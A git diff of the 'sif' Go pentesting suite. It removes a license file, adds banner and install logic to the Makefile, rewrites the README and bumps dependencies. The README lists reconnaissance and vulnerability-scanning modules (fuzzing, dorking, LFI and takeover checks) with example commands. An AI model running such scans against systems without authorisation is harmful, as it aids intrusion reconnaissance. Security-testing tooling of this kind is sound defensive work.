CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-15
View File
@@ -1,15 +0,0 @@
**Copyright 2023 - 2024 lunchcat. ALL RIGHTS RESERVED.**
Use of this tool is restricted to research and educational purposes only. Usage in a production environment outside of these categories is strictly prohibited. Any person or entity wishing to use this tool outside of research or school purposes must purchase a license from [lunchcat.dev](https://lunchcat.dev).
**For Businesses:**
1. **Licensing Requirement:** Businesses intending to use this tool for any commercial, operational, or production purposes must obtain a commercial license from [lunchcat.dev](https://lunchcat.dev).
2. **Compliance:** Businesses must ensure compliance with all applicable laws and regulations when using this tool.
3. **Liability:** lunchcat assumes no liability for any damages or losses incurred by businesses using this tool without an appropriate license.
4. **Support:** Licensed business users are eligible for dedicated support and updates as per the terms of their license agreement.
5. **Audits:** lunchcat reserves the right to audit business usage of this tool to ensure compliance with the licensing terms.
---
+75 -9
View File
@@ -1,3 +1,6 @@
# Copyright (c) 2024 vmfunc, xyzeva, lunchcat, and contributors
# SPDX-License-Identifier: MIT
.POSIX:
.SUFFIXES:
@@ -7,19 +10,82 @@ GOFLAGS ?=
PREFIX ?= /usr/local
BINDIR ?= bin
all: sif
define COPYRIGHT_ASCII
_____________
__________(_)__ __/
__ ___/_ /__ /_
_(__ )_ / _ __/
/____/ /_/ /_/
Copyright (c) 2024 vmfunc, xyzeva, lunchcat, and contributors
sif:
$(GO) build $(GOFLAGS) ./cmd/sif
endef
export COPYRIGHT_ASCII
define SUPPORT_MESSAGE
│ 🌟 Enjoying sif? Please consider:
│ • Starring our repo: https://github.com/lunchcat/sif
│ • Supporting the devs: https://lunchcat.dev
Your support helps us continue improving sif!
endef
export SUPPORT_MESSAGE
all: check_go_version sif
@echo "✅ All tasks completed successfully! 🎉"
@echo "$$SUPPORT_MESSAGE"
check_go_version:
@echo "$$COPYRIGHT_ASCII"
@echo "🔍 Checking Go version..."
@$(GO) version | grep -E "go1\.[2-9][0-9]*\." || (echo "❌ Error: Please install the latest version of Go" && exit 1)
@echo "✅ Go version check passed!"
sif: check_go_version
@echo "🛠️ Building sif..."
@echo "📁 Current directory: $$(pwd)"
@echo "🔧 Go flags: $(GOFLAGS)"
@echo "📦 Building package: ./cmd/sif"
$(GO) build -v $(GOFLAGS) ./cmd/sif
@echo "📊 Build info:"
@$(GO) version -m sif
@echo "✅ sif built successfully! 🚀"
clean:
$(RM) -rf sif
@echo "$$COPYRIGHT_ASCII"
@echo "🧹 Cleaning up..."
@$(RM) -rf sif
@echo "✨ Cleanup complete!"
install:
mkdir -p $(DESTDIR)$(PREFIX)/$(BINDIR)
cp -f sif $(DESTDIR)$(PREFIX)/$(BINDIR)
install: check_go_version
@echo "$$COPYRIGHT_ASCII"
@echo "📦 Installing sif..."
@if [ "$$(uname)" != "Linux" ] && [ "$$(uname)" != "Darwin" ]; then \
echo "❌ Error: This installation script is for UNIX systems only."; \
exit 1; \
fi
@mkdir -p $(DESTDIR)$(PREFIX)/$(BINDIR) || (echo "🔒 Permission denied. Trying with sudo..." && sudo mkdir -p $(DESTDIR)$(PREFIX)/$(BINDIR))
@cp -f sif $(DESTDIR)$(PREFIX)/$(BINDIR) || (echo "🔒 Permission denied. Trying with sudo..." && sudo cp -f sif $(DESTDIR)$(PREFIX)/$(BINDIR))
@echo "✅ sif installed successfully! 🎊"
uninstall:
$(RM) $(DESTDIR)$(PREFIX)/$(BINDIR)/sif
@echo "$$COPYRIGHT_ASCII"
@echo "🗑️ Uninstalling sif..."
@if [ "$$(uname)" != "Linux" ] && [ "$$(uname)" != "Darwin" ]; then \
echo "❌ Error: This uninstallation script is for UNIX systems only."; \
exit 1; \
fi
@$(RM) $(DESTDIR)$(PREFIX)/$(BINDIR)/sif || (echo "🔒 Permission denied. Trying with sudo..." && sudo $(RM) $(DESTDIR)$(PREFIX)/$(BINDIR)/sif)
@echo "✅ sif uninstalled successfully!"
.PHONY: all sif clean install uninstall
.PHONY: all check_go_version sif clean install uninstall
+142 -27
View File
@@ -1,34 +1,149 @@
<pre align="center">
_____________
__________(_)__ __/
__ ___/_ /__ /_
_(__ )_ / _ __/
/____/ /_/ /_/
</pre>
<h4 align="center">a blazing-fast pentesting (recon/exploitation) suite written in Go 🐾</h4>
<div align="center">
![Go version](https://img.shields.io/github/go-mod/go-version/dropalldatabases/sif)
[![Go Report Card](https://goreportcard.com/badge/github.com/dropalldatabases/sif)](https://goreportcard.com/report/github.com/dropalldatabases/sif)
[![Version](https://img.shields.io/github/v/tag/dropalldatabases/sif)](https://github.com/dropalldatabases/sif/tags)
[![Chat on Discord](https://img.shields.io/discord/1202922721969705010)](https://discord.gg/uzQv4YbJ8W)
<img src="assets/banner.png" alt="sif" width="600">
<br><br>
[![go version](https://img.shields.io/github/go-mod/go-version/vmfunc/sif?style=flat-square&color=00ADD8)](https://go.dev/)
[![build](https://img.shields.io/github/actions/workflow/status/vmfunc/sif/go.yml?style=flat-square)](https://github.com/vmfunc/sif/actions)
[![license](https://img.shields.io/badge/license-BSD--3--Clause-blue?style=flat-square)](LICENSE)
[![discord](https://img.shields.io/badge/discord-join-5865F2?style=flat-square&logo=discord&logoColor=white)](https://discord.gg/sifcli)
**[install](#install) · [usage](#usage) · [modules](#modules) · [contribute](#contribute)**
</div>
## Features
- 📂 Directory/file fuzzing/scanning
- 📡 DNS subdomain enumeration
- 🐾 Common Web scanning
- 🖥️ Port/service scanning
- 🦠 Vulnerability scanning
- Support for pre-existing nuclei templates
- Metasploit emulation for execution
- 🔎 Automated Google dorking
- 💘 Shodan integration
---
## Contributing and support
## what is sif?
Please join [our Discord server](https://discord.gg/uzQv4YbJ8W) to discuss sif development and to ask questions. Feel free to open an issue on GitHub requesting an addition to sif or asking for help with an issue.
sif is a modular pentesting toolkit written in go. it's designed to be fast, concurrent, and extensible. run multiple scan types against targets with a single command.
Contributions are welcome! Make sure to read `CONTRIBUTING.md` before submitting a pull request.
```bash
./sif -u https://example.com -all
```
## install
### from releases
grab the latest binary from [releases](https://github.com/vmfunc/sif/releases).
### from source
```bash
git clone https://github.com/dropalldatabases/sif.git
cd sif
make
```
requires go 1.23+
## usage
```bash
# basic scan
./sif -u https://example.com
# directory fuzzing
./sif -u https://example.com -dirlist medium
# subdomain enumeration
./sif -u https://example.com -dnslist medium
# port scanning
./sif -u https://example.com -ports common
# javascript framework detection + cloud misconfig
./sif -u https://example.com -js -c3
# shodan host intelligence (requires SHODAN_API_KEY env var)
./sif -u https://example.com -shodan
# sql recon + lfi scanning
./sif -u https://example.com -sql -lfi
# framework detection (with cve lookup)
./sif -u https://example.com -framework
# everything
./sif -u https://example.com -all
```
run `./sif -h` for all options.
## modules
| module | description |
|--------|-------------|
| `dirlist` | directory and file fuzzing |
| `dnslist` | subdomain enumeration |
| `ports` | port and service scanning |
| `nuclei` | vulnerability scanning with nuclei templates |
| `dork` | automated google dorking |
| `js` | javascript framework detection (next.js, supabase) |
| `c3` | cloud storage misconfiguration scanning |
| `headers` | http header analysis |
| `takeover` | subdomain takeover detection |
| `cms` | cms detection |
| `whois` | whois lookups |
| `git` | exposed git repository detection |
| `shodan` | shodan host intelligence (requires SHODAN_API_KEY) |
| `sql` | sql admin panel and error disclosure detection |
| `lfi` | local file inclusion vulnerability scanning |
| `framework` | web framework detection with version + cve lookup |
## contribute
contributions welcome. see [contributing.md](CONTRIBUTING.md) for guidelines.
```bash
# format
gofmt -w .
# lint
golangci-lint run
# test
go test ./...
```
## community
join our discord for support, feature discussions, and pentesting tips:
[![discord](https://img.shields.io/badge/join%20our%20discord-5865F2?style=for-the-badge&logo=discord&logoColor=white)](https://discord.gg/sifcli)
## contributors
<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->
<!-- prettier-ignore-start -->
<!-- markdownlint-disable -->
<table>
<tbody>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://vmfunc.re"><img src="https://avatars.githubusercontent.com/u/59031302?v=4?s=100" width="100px;" alt="mel"/><br /><sub><b>mel</b></sub></a><br /><a href="#maintenance-vmfunc" title="Maintenance">🚧</a> <a href="#mentoring-vmfunc" title="Mentoring">🧑‍🏫</a> <a href="#projectManagement-vmfunc" title="Project Management">📆</a> <a href="#security-vmfunc" title="Security">🛡️</a> <a href="#test-vmfunc" title="Tests">⚠️</a> <a href="#business-vmfunc" title="Business development">💼</a> <a href="#code-vmfunc" title="Code">💻</a> <a href="#design-vmfunc" title="Design">🎨</a> <a href="#financial-vmfunc" title="Financial">💵</a> <a href="#ideas-vmfunc" title="Ideas, Planning, & Feedback">🤔</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://projectdiscovery.io"><img src="https://avatars.githubusercontent.com/u/50994705?v=4?s=100" width="100px;" alt="ProjectDiscovery"/><br /><sub><b>ProjectDiscovery</b></sub></a><br /><a href="#platform-projectdiscovery" title="Packaging/porting to new platform">📦</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/macdoos"><img src="https://avatars.githubusercontent.com/u/127897805?v=4?s=100" width="100px;" alt="macdoos"/><br /><sub><b>macdoos</b></sub></a><br /><a href="#code-macdoos" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://epitech.eu"><img src="https://avatars.githubusercontent.com/u/75166283?v=4?s=100" width="100px;" alt="Matthieu Witrowiez"/><br /><sub><b>Matthieu Witrowiez</b></sub></a><br /><a href="#ideas-D3adPlays" title="Ideas, Planning, & Feedback">🤔</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/tessa-u-k"><img src="https://avatars.githubusercontent.com/u/109355732?v=4?s=100" width="100px;" alt="tessa "/><br /><sub><b>tessa </b></sub></a><br /><a href="#infra-tessa-u-k" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="#question-tessa-u-k" title="Answering Questions">💬</a> <a href="#userTesting-tessa-u-k" title="User Testing">📓</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/xyzeva"><img src="https://avatars.githubusercontent.com/u/133499694?v=4?s=100" width="100px;" alt="Eva"/><br /><sub><b>Eva</b></sub></a><br /><a href="#blog-xyzeva" title="Blogposts">📝</a> <a href="#content-xyzeva" title="Content">🖋</a> <a href="#research-xyzeva" title="Research">🔬</a> <a href="#security-xyzeva" title="Security">🛡️</a> <a href="#test-xyzeva" title="Tests">⚠️</a> <a href="#code-xyzeva" title="Code">💻</a></td>
</tr>
</tbody>
</table>
<!-- markdownlint-restore -->
<!-- prettier-ignore-end -->
<!-- ALL-CONTRIBUTORS-LIST:END -->
## acknowledgements
- [projectdiscovery](https://projectdiscovery.io/) for nuclei and other security tools
- [shodan](https://www.shodan.io/) for infrastructure intelligence
---
<div align="center">
<sub>bsd 3-clause license · made by vmfunc, xyzeva, and contributors</sub>
</div>
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 115 KiB

After

Width:  |  Height:  |  Size: 1.5 MiB

+12
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package main
import (
+19 -18
View File
@@ -1,6 +1,8 @@
module github.com/dropalldatabases/sif
go 1.21
go 1.24.0
toolchain go1.25.5
require (
github.com/antchfx/htmlquery v1.3.0
@@ -53,7 +55,6 @@ require (
github.com/charmbracelet/glamour v0.6.0 // indirect
github.com/cheggaaa/pb/v3 v3.1.4 // indirect
github.com/cloudflare/cfssl v1.6.4 // indirect
github.com/cloudflare/circl v1.3.7 // indirect
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect
github.com/corpix/uarand v0.2.0 // indirect
github.com/dimchansky/utfbom v1.1.1 // indirect
@@ -63,7 +64,6 @@ require (
github.com/fatih/color v1.16.0 // indirect
github.com/fatih/structs v1.1.0 // indirect
github.com/gabriel-vasile/mimetype v1.4.2 // indirect
github.com/gaukas/godicttls v0.0.4 // indirect
github.com/go-logfmt/logfmt v0.6.0 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-playground/locales v0.14.1 // indirect
@@ -76,7 +76,7 @@ require (
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.2.1 // indirect
github.com/gocolly/colly/v2 v2.1.0 // indirect
github.com/golang-jwt/jwt/v4 v4.5.0 // indirect
github.com/golang-jwt/jwt/v4 v4.5.2 // indirect
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
github.com/golang/protobuf v1.5.3 // indirect
github.com/golang/snappy v0.0.4 // indirect
@@ -100,7 +100,7 @@ require (
github.com/julienschmidt/httprouter v1.3.0 // indirect
github.com/kataras/jwt v0.1.8 // indirect
github.com/kennygrant/sanitize v1.2.4 // indirect
github.com/klauspost/compress v1.16.7 // indirect
github.com/klauspost/compress v1.17.4 // indirect
github.com/klauspost/cpuid/v2 v2.2.5 // indirect
github.com/klauspost/pgzip v1.2.5 // indirect
github.com/leodido/go-urn v1.2.4 // indirect
@@ -154,10 +154,10 @@ require (
github.com/projectdiscovery/sarif v0.0.1 // indirect
github.com/projectdiscovery/tlsx v1.1.4 // indirect
github.com/projectdiscovery/yamldoc-go v1.0.4 // indirect
github.com/quic-go/quic-go v0.42.0 // indirect
github.com/refraction-networking/utls v1.5.4 // indirect
github.com/refraction-networking/utls v1.8.1 // indirect
github.com/remeh/sizedwaitgroup v1.0.0 // indirect
github.com/rivo/uniseg v0.4.4 // indirect
github.com/rogpeppe/go-internal v1.10.0 // indirect
github.com/rs/xid v1.5.0 // indirect
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect
github.com/sashabaranov/go-openai v1.14.2 // indirect
@@ -166,6 +166,7 @@ require (
github.com/shoenig/go-m1cpu v0.1.6 // indirect
github.com/spaolacci/murmur3 v1.1.0 // indirect
github.com/spf13/cast v1.5.1 // indirect
github.com/stretchr/testify v1.11.1 // indirect
github.com/syndtr/goleveldb v1.0.0 // indirect
github.com/temoto/robotstxt v1.1.2 // indirect
github.com/tidwall/btree v1.6.0 // indirect
@@ -179,7 +180,7 @@ require (
github.com/tklauser/go-sysconf v0.3.12 // indirect
github.com/tklauser/numcpus v0.6.1 // indirect
github.com/trivago/tgo v1.0.7 // indirect
github.com/ulikunitz/xz v0.5.11 // indirect
github.com/ulikunitz/xz v0.5.15 // indirect
github.com/valyala/bytebufferpool v1.0.0 // indirect
github.com/valyala/fasttemplate v1.2.2 // indirect
github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db // indirect
@@ -202,17 +203,17 @@ require (
go.uber.org/multierr v1.11.0 // indirect
go.uber.org/zap v1.25.0 // indirect
goftp.io/server/v2 v2.0.1 // indirect
golang.org/x/crypto v0.21.0 // indirect
golang.org/x/exp v0.0.0-20230626212559-97b1e661b5df // indirect
golang.org/x/mod v0.12.0 // indirect
golang.org/x/net v0.23.0 // indirect
golang.org/x/oauth2 v0.11.0 // indirect
golang.org/x/sync v0.6.0 // indirect
golang.org/x/sys v0.20.0 // indirect
golang.org/x/term v0.18.0 // indirect
golang.org/x/text v0.14.0 // indirect
golang.org/x/crypto v0.46.0 // indirect
golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842 // indirect
golang.org/x/mod v0.30.0 // indirect
golang.org/x/net v0.48.0 // indirect
golang.org/x/oauth2 v0.34.0 // indirect
golang.org/x/sync v0.19.0 // indirect
golang.org/x/sys v0.39.0 // indirect
golang.org/x/term v0.38.0 // indirect
golang.org/x/text v0.32.0 // indirect
golang.org/x/time v0.5.0 // indirect
golang.org/x/tools v0.13.0 // indirect
golang.org/x/tools v0.39.0 // indirect
google.golang.org/appengine v1.6.7 // indirect
google.golang.org/protobuf v1.33.0 // indirect
gopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect
+36 -49
View File
@@ -104,8 +104,6 @@ github.com/cheggaaa/pb/v3 v3.1.4/go.mod h1:6wVjILNBaXMs8c21qRiaUM8BR82erfgau1DQ4
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cloudflare/cfssl v1.6.4 h1:NMOvfrEjFfC63K3SGXgAnFdsgkmiq4kATme5BfcqrO8=
github.com/cloudflare/cfssl v1.6.4/go.mod h1:8b3CQMxfWPAeom3zBnGJ6sd+G1NkL5TXqmDXacb+1J0=
github.com/cloudflare/circl v1.3.7 h1:qlCDlTPz2n9fu58M0Nh1J/JzcFpfgkFHHX3O35r5vcU=
github.com/cloudflare/circl v1.3.7/go.mod h1:sRTcRWXGLrKw6yIGJ+l7amYJFfAXbZG0kBSc8r4zxgA=
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 h1:ox2F0PSMlrAAiAdknSRMDrAr8mfxPCfSZolH+/qQnyQ=
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08/go.mod h1:pCxVEbcm3AMg7ejXyorUXi6HQCzOIBf7zEDVPtw0/U4=
github.com/corpix/uarand v0.2.0 h1:U98xXwud/AVuCpkpgfPF7J5TQgr7R5tqT8VZP5KWbzE=
@@ -137,12 +135,8 @@ github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4
github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw=
github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU=
github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA=
github.com/gaukas/godicttls v0.0.4 h1:NlRaXb3J6hAnTmWdsEKb9bcSBD6BvcIjdGdeb0zfXbk=
github.com/gaukas/godicttls v0.0.4/go.mod h1:l6EenT4TLWgTdwslVb4sEMOCf7Bv0JAK67deKr9/NCI=
github.com/go-logfmt/logfmt v0.6.0 h1:wGYYu3uicYdqXVgoYbvnkrPVXkuLM1p1ifugDMEdRi4=
github.com/go-logfmt/logfmt v0.6.0/go.mod h1:WYhtIu8zTZfxdn5+rREduYbwxfcBr/Vr6KEVveWlfTs=
github.com/go-logr/logr v1.2.4 h1:g01GSCwiDw2xSZfjJ2/T9M+S6pFdcNtFYsp+Y43HYDQ=
github.com/go-logr/logr v1.2.4/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
@@ -155,8 +149,6 @@ github.com/go-playground/validator/v10 v10.14.1 h1:9c50NUPC30zyuKprjL3vNZ0m5oG+j
github.com/go-playground/validator/v10 v10.14.1/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU=
github.com/go-rod/rod v0.114.0 h1:P+zLOqsj+vKf4C86SfjP6ymyPl9VXoYKm+ceCeQms6Y=
github.com/go-rod/rod v0.114.0/go.mod h1:aiedSEFg5DwG/fnNbUOTPMTTWX3MRj6vIs/a684Mthw=
github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI=
github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572/go.mod h1:9Pwr4B2jHnOSGXyyzV8ROjYa2ojvAY6HCGYYfMoC3Ls=
github.com/goburrow/cache v0.1.4 h1:As4KzO3hgmzPlnaMniZU9+VmoNYseUhuELbxy9mRBfw=
github.com/goburrow/cache v0.1.4/go.mod h1:cDFesZDnIlrHoNlMYqqMpCRawuXulgx+y7mXU8HZ+/c=
github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y=
@@ -172,8 +164,8 @@ github.com/gocolly/colly/v2 v2.1.0 h1:k0DuZkDoCsx51bKpRJNEmcxcp+W5N8ziuwGaSDuFoG
github.com/gocolly/colly/v2 v2.1.0/go.mod h1:I2MuhsLjQ+Ex+IzK3afNS8/1qP3AedHOusRPcRdC5o0=
github.com/gofrs/uuid v3.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/golang-jwt/jwt/v4 v4.4.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
github.com/golang-jwt/jwt/v4 v4.5.0 h1:7cYmW1XlMY7h7ii7UhUyChSgS5wUJEnm9uZVTGqOWzg=
github.com/golang-jwt/jwt/v4 v4.5.0/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
github.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI=
github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
@@ -207,8 +199,9 @@ github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4rEjNlfyDHW9dolSY=
github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ=
github.com/google/go-github/v30 v30.1.0 h1:VLDx+UolQICEOKu2m4uAoMti1SxuEBAl7RSEG16L+Oo=
@@ -218,8 +211,6 @@ github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO
github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8=
github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38 h1:yAJXTCF9TqKcTiHJAE8dj7HMvPfh66eeA2JYW7eFpSE=
github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4=
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ=
github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4=
@@ -269,8 +260,8 @@ github.com/kennygrant/sanitize v1.2.4 h1:gN25/otpP5vAsO2djbMhF/LQX6R7+O1TB4yv8Nz
github.com/kennygrant/sanitize v1.2.4/go.mod h1:LGsjYYtgxbetdg5owWB2mpgUL6e2nfw2eObZ0u0qvak=
github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
github.com/klauspost/compress v1.11.4/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
github.com/klauspost/compress v1.16.7 h1:2mk3MPGNzKyxErAw8YaohYh69+pa4sIQSC0fPGCFR9I=
github.com/klauspost/compress v1.16.7/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
github.com/klauspost/compress v1.17.4 h1:Ej5ixsIri7BrIjBkRZLTo6ghwrEtHFk7ijlczPW4fZ4=
github.com/klauspost/compress v1.17.4/go.mod h1:/dCuZOvVtNoHsyb+cuJD3itjs3NbnF6KH9zAO4BDxPM=
github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
github.com/klauspost/cpuid/v2 v2.0.12/go.mod h1:g2LTdtYhdyuGPqyWyv7qRAmj1WBqxuObKfj5c0PQa7c=
github.com/klauspost/cpuid/v2 v2.2.5 h1:0E5MSMDEoAulmXNFquVs//DdoomxaoTY1kUhbc/qbZg=
@@ -353,11 +344,9 @@ github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+W
github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.16.4 h1:29JGrr5oVBm5ulCWet69zQkzWipVXIol6ygQUe/EzNc=
github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0=
github.com/onsi/ginkgo/v2 v2.9.5 h1:+6Hr4uxzP4XIUyAkg61dWBw8lb/gc4/X5luuxN/EC+Q=
github.com/onsi/ginkgo/v2 v2.9.5/go.mod h1:tvAoo1QUJwNEU2ITftXTpR7R1RbCzoZUOs3RonqW57k=
github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
github.com/onsi/gomega v1.27.6 h1:ENqfyGeS5AX/rlXDd/ETokDz93u0YufY1Pgxuy/PvWE=
github.com/onsi/gomega v1.27.6/go.mod h1:PIQNjfQwkP3aQAH7lf7j87O/5FiNr+ZR8+ipb+qQlhg=
github.com/onsi/gomega v1.16.0 h1:6gjqkI8iiRHMvdccRJM8rVKjCWk6ZIm6FTm3ddIe4/c=
github.com/onsi/gomega v1.16.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY=
github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk=
github.com/pierrec/lz4 v2.6.1+incompatible h1:9UY3+iC23yxF0UfGaYrGplQ+79Rg+h/q9FV9ix19jjM=
github.com/pierrec/lz4 v2.6.1+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY=
@@ -428,10 +417,8 @@ github.com/projectdiscovery/utils v0.1.1/go.mod h1:EPuSvVIvp61nXJD5EO65vaCv82Ouh
github.com/projectdiscovery/yamldoc-go v1.0.4 h1:eZoESapnMw6WAHiVgRwNqvbJEfNHEH148uthhFbG5jE=
github.com/projectdiscovery/yamldoc-go v1.0.4/go.mod h1:8PIPRcUD55UbtQdcfFR1hpIGRWG0P7alClXNGt1TBik=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/quic-go/quic-go v0.42.0 h1:uSfdap0eveIl8KXnipv9K7nlwZ5IqLlYOpJ58u5utpM=
github.com/quic-go/quic-go v0.42.0/go.mod h1:132kz4kL3F9vxhW3CtQJLDVwcFe5wdWeJXXijhsO57M=
github.com/refraction-networking/utls v1.5.4 h1:9k6EO2b8TaOGsQ7Pl7p9w6PUhx18/ZCeT0WNTZ7Uw4o=
